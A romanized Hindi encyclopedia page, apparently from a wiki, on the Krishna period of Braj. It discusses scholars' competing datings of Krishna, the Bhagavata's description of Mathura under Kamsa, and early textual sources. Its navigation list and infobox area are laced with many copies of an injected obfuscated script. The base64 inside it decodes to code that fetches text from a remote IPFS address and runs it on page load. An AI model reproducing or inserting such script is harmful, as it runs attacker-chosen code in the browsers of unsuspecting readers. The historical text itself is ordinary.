ब्रज का कृष्ण काल

braj vishay soochi

braj   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> paribhasha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vistar   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> namakaran aur abhipray   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pauranik itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka adim kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka krishna kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka maury kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka shuang kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka shak kushan kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka gupt kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka madhy kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka uttar madhy kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka mugal kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka jat maratha kal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka svatantrata sangram 1857   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> braj ka svatantrata sangram 1920-1947   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanskriti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jivan shaili   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> prachin sangit   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> moorti kala mathura   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pramukh parv evan tyohar   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mukhy darshaniy sthal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chaurasi kos yatra   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> brajabhasha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> holi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> veshabhoosha, bhojan v mithaee

braj ka krishna kal
braj ke vibhinn drishy|200px|center
vivaran	bhagavat mean ‘braj’ kshetr vishesh ko iangit karate hue hi prayukt hua hai. vahaan ise ek chhote gram ki sanjna di gee hai. usamean ‘pur’ se chhota ‘gram’ aur usase bhi chhoti basti ko ‘braj’ kaha gaya hai. 16vian shatabdi mean ‘braj’ pradesh ke arth mean hokar ‘brajamandal’ ho gaya aur tab usaka akar 84 kos ka mana jane laga tha.
braj kshetr	aj jise ham braj kshetr manate haian usaki dishaaian, uttar disha mean palaval (hariyana), dakshin mean gvaliyar (madhy pradesh), pashchim mean bharatapur (rajasthan) aur poorv mean eta (uttar pradesh) ko chhooti haian.
braj ke keandr	mathura evan vrindavan
braj ke van	kotavan, kamyavan, kumudavan, kokilavan, khadiravan, talavan, bahulavan, biharavan, belavan, bhadravan, bhaandiravan, madhuvan, mahavan, lauhajanghavan evan vrindavan
bhasha	hiandi aur brajabhasha
pramukh parv evan tyohar	holi, krishna janmashtami, yam dvitiya, guru poornima, radhashtami, govardhan pooja, gopashtami, nandotsav evan kans mela
pramukh darshaniy sthal	krishna janmabhoomi, dvarikadhish mandir, rajakiy sangrahalay, baanke bihari mandir, rang nath ji mandir, govind dev mandir, isk aaun mandir, madan mohan mandir, danaghati mandir, manasi ganga, kusum sarovar, jayagurudev mandir, radha rani mandir, nand ji mandir, vishram ghat , daooji mandir
sanbandhit lekh	braj ka pauranik itihas, braj chaurasi kos ki yatra, moorti kala mathura
any janakari	braj ke van–upavan, kunj–nikunj, shri yamuna v giriraj atyant mohak haian. pakshiyoan ka madhur svar ekaanki sthali ko madak evan manohar banata hai. moroan ki bahutayat tatha unaki pioo–pioo ki avaz se vatavaran gunjayaman rahata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sansar mean ek krishna hi hua jisane darshan ko git banaya -d aau. ram manohar lohiya

krishna kal

shrikrishna ke samay ka nirdharan vibhinn vidvanoan ne kiya hai. anek itihasakar krishna ko aitihasik charitr nahian manate. yooan bhi astha ke prashnoan ka hal itihas mean talashane ka koee arth nahian hai. apane jo itihas ki samagri aksar khangali hogi, vah sanbhavat: krishna ki aitihasikata par anek prashnachihn lagati hogi. hamara prayas hai ki jo jaisa upalabdh hai, ap tak pahuanchayean. kee vidvanh shrikrishna ko 3500 varsh se adhik prachin nahian manate haian. bharatiy manyata ke anusar krishna ka kal 5000 varsh se bhi kuchh adhik purana lagata hai. isaka vaijnanik aur aitihasik adhar bhi kuchh vidvanoan ne siddh karane ka prayas kiya hai.

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shrikrishna ke samay ke sanbandh mean shrikrishna datt vajapeyi ka mat- "vartaman aitihasik anusandhanoan ke adhar par shrikrishna ka janm lagabhag ee.poo. 1500 mana jata hai. ye sambhavat: 100 varsh se kuchh oopar ki ayu tak jivit rahe. apane is dirgh jivan mean unhean vividh prakar ke karyo mean vyast rahana p da. unaka praranbhik jivan to braj mean kata aur shesh dvaraka mean vyatit hua. bich-bich mean unhean any anek janapadoan mean bhi jana p da. jo anek ghatanaean unake samay mean ghatian, unaki vistrit charcha puranoan tatha mahabharat mean milati hai. vaidik sahity mean to krishna ka ullekh bahut kam milata hai aur usamean unhean manav-roop mean hi dikhaya gaya hai, n ki narayan ka vishnu ke avatar roop mean."-shri krishna datt vajapeyi

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d aau. prabhudayal mital dvara prastut praman krishna kal ko 5000 varsh poorv ka pramanit karate haian. unhoanne 'chhaandogyopanishad' ke shlok ka havala diya hai. jyotish ka praman dete hue shri mital likhate haian- "maitrayani upanishad aur shatapath brahman ke “kritika svadadhit” ullekh se tatkalin khagol-sthiti ki ganana kar treniang k aaulej, poona ke ganit pradhyapak sv. shankar balkrishna dikshit mahoday ne maitrayani upanishad ki eesavi sanh ne 1600 poorv ka aur shatapath brahman ko 3000 varsh ka mana tha.

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'maitrayani upanishad' sabase pichhe ka upanishad kaha jata hai aur usamean 'chhaandogy upanishad' ke avataran milate haian, isalie chhaandogy maitriyani se poorv ka upanishad hua. shatapath brahman aur upanishad ajakal ke vidvanoan ke matanusar ek hi kal ki rachanaean haian, at: chhaandogy ka kal bhi eesa se 3000 varsh poorv ka hua. chhaandogy upanishad mean devaki putr krishna ka ullekh milata hai. “devaki putr” visheshan ke karan ukt ullekh ke krishna spasht roop se vrishni vansh ke krishna haian. is prakar krishna ka samay pray: 5000 varsh poorv ka jnat hota hai." - d aau. prabhudayal mital

d aau. mital ne kis adhar par chhaandogyopanishad ko 5000 varsh prachin bataya hai. yah kahian ullekh nahian hai. 'chhaandogyopanishad' ke ee. poo. 500 se 1000 varsh se adhik prachin hone ke praman nahian milate.

krishna ka samay

d aau. mital likhate haian- "parikshit ke samay mean saptarshi (akash ke sat tare) magha nakshatr par the, jaisa shukadev dvara parikshit se kahe hue vaky se pramanit hai. jyotish shastr ke anusar saptarshi ek nakshatr par ek sau varsh tak rahate haian. ajakal saptarshi krittika nakshatr par haian, jo magha se 21vaan nakshatr hai. is prakar magha ke kritika par ane mean 2100 varsh lage haian kiantu yah 2100 varsh ki avadhi mahabharat kal kadapi nahian hai. isase yah manana hoga ki magha se arambh kar 27 nakshatroan ka ek chakr poora ho chuka tha aur doosare chakr mean hi saptarshi us kal mean magha par aye the. pahile chakr ke 2700 varsh mean doosare chakr ke 2100 varsh jo dane se 4800 varsh hue. yah kal parikshit ki vidyamanata ka hua. parikshit ke pitamah arjun the, jo ayu mean shrikrishna se 18 varsh chhote the. is prakar jyotish ki ukt ganana ke anusar krishna-kal ab se pray: 5000 varsh poorv ka siddh hota hai."

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ajakal ke chaitr mas ke varsh ka arambh mana jata hai, jab ki krishna kal mean vah margashirsh se hota tha. basant rritu bhi is kal mean margashirsh mah mean hoti thi. mahabharat mean margashirsh mas se hi kee sthaloan par mahinoan ki ganana ki gayi hai. 'gita' mean jahaan bhagavan ki vibhootiyoan ka varnan hua haian, vahaan “masanaan margashirshoaham” aur “rritunaan kusumakar” ke ullekhoan se bhi ukt kathan ki pushti hoti hai. jyotishashastr ke viddhanoan ne siddh kiya hai ki margashirsh mean vasant sampat ab se pray: 5000 varsh poorv hota tha. is prakar bhi shrikrishna kal ke 5000 varsh prachin hone ki pushti hoti hai.

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shrikrishna dvapar yug ke ant aur kaliyug ke arambh ke sandhi-kal mean vidyaman the. bharatiy jyotishiyoan ke matanusar kaliyug ka arambh shak sanvat se 3176 varsh poorv ki chaitr shu. 1 ko hua tha. ajakal 1887 shak sanvat hai. is prakar kaliyug ko arambh hue 5066 varsh ho gaye haian. kaliyug ke arambh hone se 6 mah poorv margashirsh shukl 14 ko mahabharat ka yuddh ka arambh hua tha, jo 18 dinoan tak chala tha. us samay shrikrishna ki ayu 83 varsh ki thi. unaka tirodhan 119 varsh ki ayu mean hua tha. is prakar bharatiy manyata ke anusar shrikrishna vidyamanata ya kal shak sanvat poorv 3263 ki bhadrapad kri. 8 budhavar ke shak sanvat poorv 3144 tak hai. bharat ke vikhyat jyotishi varah mihir, aryabhat, brahmagupt adi ke samay se hi yah manyata prachalit hai. bharat ka sarvadhik prachin yudhishthir sanvat jisaki ganana kaliyug se 40 varsh poorv se ki jati hai, ukt manyata ko pusht karata hai.

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puratattvavettaoan ka mat hai ki ab se pray: 5000 varsh poorv ek prakar ka pralay hua tha. us samay bhayankar bhookamp aur aandhi toofanoan se samudr mean b da bhari uphan aya tha. us samay nadiyoan ke pravah parivartit ho gaye the, vividh sthanoan par jvalamukhi parvat phoot p de the aur paha d ke shrriang toot-tootakar gir gaye the. vah bhishan daivi durghatana vartaman irak mean bagadad ke pas aur vartaman maiksiko ke prachin pradeshoan mean huee thi, jisaka kal 5000 varsh poorv ka mana jata hai. usi prakar ki durghatanaoan ka varnan mahabharat aur bhagavat adi puranoan bhi milata hai. inase jnat hota hai ki mahabharat yuddh ke pashchath usi prakar ke bhishan bhookamp hastinapur aur dvarika mean bhi hue the, jinake karan dvarika to sarvatha nasht hi ho gayi thi.

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bagadad aur hastinapur tatha prachin mag pradesh aur dvarika pray: ek se akshaanshoan par sthit haian, at: unaki durghatanaoan ka parisparik sambandh vijnan sammat hai. bagadad pralay ke pashchath vahaan bataye gaye “ur” nagar ko tatha maiksiko sthit may pradesh ke dhvans ko jab 5000 varsh prachin mana ja sakata hai, jab mahabharat aur bhagavat mean varnit vaisi hi ghatanaoan, jo krishna ke samay mean huee thi, usi kal ka mana jayaga. aisi dasha mean puratattv ke sakshy se bhi krishna-kal 5000 varsh prachin siddh hota hai. yah doosari bat hai ki mahabharat aur bhagavat granthoan ki rachana bahut bad mean huee thi, kiantu unamean varnit katha 5000 varsh purani hi hai.

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jyotish aur puratattv ke atirikt itihas ke praman se bhi krishna-kal vishayak bharatiy manyata ki pushti hoti hai. yavan naresh sailyuks ne maigasthanij namak apana ek rajadoot bharatiy naresh chandragupt ke darabar mean bheja tha. maigasthanij ne us samay ke apane anubhav lekhabaddh kiye the. is samay us yoonan rajadoot ka mool grannth to nahian milata hai, kiantu usake jo aansh eriyan adi any yavan lekhakoan ne uddhrit kiye the, ve prakashit ho chuke haian.

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maigasthaniz ne likha hai ki mathura mean shauraseni logoan ka nivas hai. ve vishesh roop se harakulij (hari krishna) ki pooja karate haian. unaka kathan hai ki dayonisiyas ke harakulij 15 pidhi aur sendrakotas (chandragupt) 153 pidhi pahale hue the. is prakar shrikrishna aur chandragupt mean 138 pidhiyoan ke 2760 varsh hue. chandragupt ka samay eesa se 326 varsh poorv hai. is hisab se shrikrishna kal ab se (1965+326+2760) 5051 varsh poorv siddh hota hai.

kans ke samay mathura

kans ke samay mean mathura ka kya svaroop tha, isaki kuchh jhalak pauranik varnanoan mean dekhi ja sakati hai. jab shrikrishna ne pahali bar is nagari ko dekha to bhagavatakar ke shabdoan mean usaki shobha is prakar thi.

'us nagari ke pravesh-dvar ooanche the aur sphatik patthar ke bane hue the. unake b de-b de siradal aur kiva d sone ke the. nagari ke charoan or ki dival (parakota) taanbe aur pital ki bani thi tatha usake niche ki khaee durlabh thi. nagari anek udyanoan ek sundar upavanoan se shobhit thi.'

'suvarnamay chaurahoan, mahaloan, bagichiyoan, sarvajanik sthanoan evan vividh bhavanoan se vah nagari yukt thi. vaidoory, bajr, nilam, moti, hira adi ratnoan se alankrit chhajje, vediyaan tatha pharsh jagamaga rahe the aur un par baithe hue kabootar aur mor anek prakar ke madhur shabd kar rahe the. galiyoan aur bazaroan mean, s dakoan tatha chaurahoan par chhi dakav kiya gaya tha. aur un par jahaan-tahaan phool-malaean, doorva-dal, laee aur chaval bikhare hue the.'

'makanoan ke daravajoan par dahi aur chandan se anulepit tatha jal se bhare hue manal-ghat rakhe hue the, phooloan, dipavaliyoan, bandanavaroan tatha phalayukt kele aur supari ke vrikshoan se dvar sajaye gaye the aur un par patake aur jh diyaan phahara rahi thi.'

uparyukt varnan kans ya krishna kalin mathura se kahaan tak mel khata hai, yah batana kathin hai. parantu isase tatha any puranoan mean prapt varnanoan se itana avashy jnat hota hai ki tatkalin mathura ek samriddh puri thi. usake charoan or nagar-parakota thi tatha nagari mean udyanoan ka bahuly tha. mor pakshiyoan ki shayad is samay bhi mathura mean adhikata thi. mahaloan, makanoan, s dakoan aur bazaroan adi ke jo varnan milate hai unase pata chalata hai ki kans ke samay ki mathura ek dhan-dhany sampann nagari thi.

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is prakar bharatiy vidvanoan ke saik doan hazaroan varsh prachin nishkarshoan ke phalasvaroop krishna-kal ki jo bharatiy manyata jyotish, puratattv aur itihas se bhi paripusht hoti hai, use n manane ka koee karan nahian hai. adhunik kal ke vidvanoan itihas aur puratattv ke jin anusandhanoan ke adhar par krishna-kal ki avadhi 3500 varsh manate haian, ve abhi apoorn haian. is bat ki poori sambhavana hai ki in anusandhanoan ke poorn hone par ve bhi bharatiy manyata ka samarthan karane lageange.

prachinatam sanskrit sahity

vaidik sanhitaoan ke anantar sanskrit ke prachinatam sahity-aranyak, upanishad, brahman granthoan aur paniniy sootroan mean shrikrishna ka tho da bahut ullekh milata hai. jain sahity mean shrikrishna ko tirthankar neminath ji ka chachera bhaee batalaya gaya hai. is prakar jain dharm ke prachinatam sahity mean shrikrishna ka ullekh hua hai. bauddh sahity mean jatak kathaean atyant prachin hai. unamean se “ghat jatak” mean krishna katha varnit hai. yadyapi uparyukt sahity krishna–charitr ke srot se sanbandhit hai, tathapi krishna-charitr ke pramukh granth-

1. mahabharat
2. harivansh
3. vividh puran
4. gopal tapani upanishad
5. garg sanhita

yahaan in granthoan mean varnit shrikrishna ke charitr par prakash dala jata hai.

puranetar granth

jin puranettar granthoan mean shrikrishna ka charitr varnit hai, usamean “gopal tapani upanishad” aur “garg sanhita” pramukh hai. yahaan par unaka vistrit vivaran diya jata hai-

gopal tapani upanishad: - yah krishnaopasana se sanbandhit ek adhyatmik rachana hai. isake poorv aur uttar namak do bhag hai. poorv bhag ko “krishnaopanishad” aur uttar bhag ko “atharvagopanishad” kaha gaya hai. yah rachana sootr shaili mean hai, at: krishnaopasana ke paravarti granthoan ki apeksha yah prachin jan p dati hai. isaka poorv bhag uttar bhag se bhi pahale ka jnat hota hai. shrikrishna priya radha aur unake lila-dham braj mean se kisi ka bhi namollekh isamean nahian hai. isase bhi isaki prachinata siddh hoti haian. - d aau. prabhudayal mital

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"d aau. prabhudayal mital, krishna ka samay 5000 varsh poorv manate haian. ve isako anek tathy evan ullekhoan ke adhar par pramanit bhi karate haian. shrikrishna datt vajapeyi ka mat bhinn hai, ve krishna kal ko 3500 varsh se adhik purana nahian manate." anek bharatiy aur videshi itihasakar mahabharat ka kal nirnay hone se yah nahian manate ki krishna ka samay bhi siddh ho gaya. yahi sthiti 'gita' ke samay nirdharan ki bhi hai, kuchh vidvanoan ka manana hai ki 'gita' kahane vale krishna bhinn haian, yahian ek vivad dvaraka ke krishna ko mathura ke krishna ko bhinn batane ka bhi hai. kuchh ka mat hai ki krishna ko mahabharat mean kafi bad mean jo d diya gaya. chahe jo bhi ho aj krishna ki aitihasikata par koee prashnachihn nahian hai. ho sakata hai kalanirnay mean mataiky n ho.

left|30px|link=braj ka adim kal|pichhe jaean

braj ka adim kal

braj ka krishna kal

braj ka maury kal

right|30px|link=braj ka maury kal|age jaean

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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